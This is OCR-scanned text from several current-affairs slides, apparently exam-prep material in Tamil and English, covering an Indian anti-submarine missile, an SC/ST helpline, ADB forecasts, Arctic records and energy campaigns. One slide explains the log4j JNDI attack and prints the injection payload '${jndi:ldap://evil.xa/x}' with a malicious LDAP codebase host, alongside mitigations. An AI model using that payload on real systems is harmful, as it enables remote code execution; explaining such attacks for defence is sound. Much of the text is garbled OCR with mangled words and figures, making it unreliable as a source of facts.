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SUPERSUONIC MISSILE ASSISTED RELEARSE OF TUORPEDU (SMART)

CULUNTRY : INDIR

RANGE: 50-550KM 7 30KM TORPEDO
STHTLUS : LUNDER DEVELOPMENT
PRUOJECT COST : 34D CRORES

RUOLE : ANTI-SLIBMARINE MISSILE
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Launch
of

National Helpline against Atrocities
HELP DESK: 14566

Prevention of Atrocities on members of SCs/STs
across the country

on

13th December, 2021 at 11:00 Hrs

http:/nhapoa.gov.in

at
Nalanda Hall, Dr. Ambedkar International Centre, 5, Janpath Road,

New Delhi - 110001
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GDP Growth Forecast

Find out morein ADB's Asian Development Outlook 2021 Update »

www.adb.org/outlook ‘ #AD02021
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QFUWIRISMSHTET 62(H aUTUILILlemeT WD HH Cams:&IsEHaHE (hackers) GULDMHIELD.
The log4j JNDI Attack

and how to prevent it

An attacker inserts the NDI lookup in a The string Is passed to log4] log4j interpolates the string and
header field that is likely to be logged Jor logging queries the malicious LDAP server.
“” ?

GET /test HTTP/1.1 HITP #{jndi:1dap://evil.xa/x} 1dap://evil.xa/x

Host: victim.xa

User-Agent: ${jndi:1dap://evil.xa/x} © DISABLE JNDI LOOKUPS

BLOCK WITH WAF
© PATCH LOGY)
Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
ht(p//vv(um xa implementation Idap://evilxa
o} — —o— KA
g 0 o— 4
E Qoisrsie gy &=
| <
@ oisasLE /
REMOTE
L]
CODEBASES »L
» L
public class Maliclous implements Seriolizeble | dn:
javaClassName: Malicious
atatle | javaCodebase: http://evil.xa

<aaliclous Java code> - riaY
| joveSerializedData: <...>

|

The LDAP server responds with directory
information that contains the malicious
Java class

JAVA deserializes (or downloads) the
malicious Java class and executes it.
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SJL6UITEOOTIq.85 LOWILDITS 6V 6T60TM Bl LDAUTEITS! 20 QLD HBITMMTE0oTIY 60T S TIDLIGSSH CeuGUl
QBMTLBIRWSTS FLUSLISHIW 16| 6T &600TL 1 HSI6TeTS.
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% @S QelliLBlemeullmenral 2020 gyl eooriq 60 en&FLIlwmelléy sjemell L LI L&

% @bHS BLAILGMSWTETS Lihalblemey LDTHMID GM&6S a&FFfleamnaswns imelssll
UL (eTergl.
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WMO recognizes
a new Arctic

temperature
record

L FUevLD meoTeU T8 61T, 61 (15 S18 61T, LOMH MILD [H1&LD6Y & 6iT

Cameurmedl TS

x»Sonali Garg has been
awarded a postdoctoral
fellowship at Harvard
University.

xSonali Garg,a Delhi
University researcher, has

described 50 new frog
species from India, Sri
Lanka, and Indonesia.

» AAs the first woman to
discover 50 new frog
species in India.
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QFWSMEHTEH Celerly @ &R eTnmears AIFfleaslIUBHMmS.

e QIHS 2L600TIY M TET &([HSHSI([H 6T6dT LIS ‘Azadi ka Amrit Mahotsav: Energy Efficient India’ Lo miLd
and 'Azadi ka Amrit Mahotsav: Clearer Planet’ 6T60T LIS T LD.
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Y ‘MINISTRVOF Amrit Mahotsav

Azadi Ka Amrit
Mahotsav Celebration
8th - 14th December

Conserve Energy Save Tomorrow
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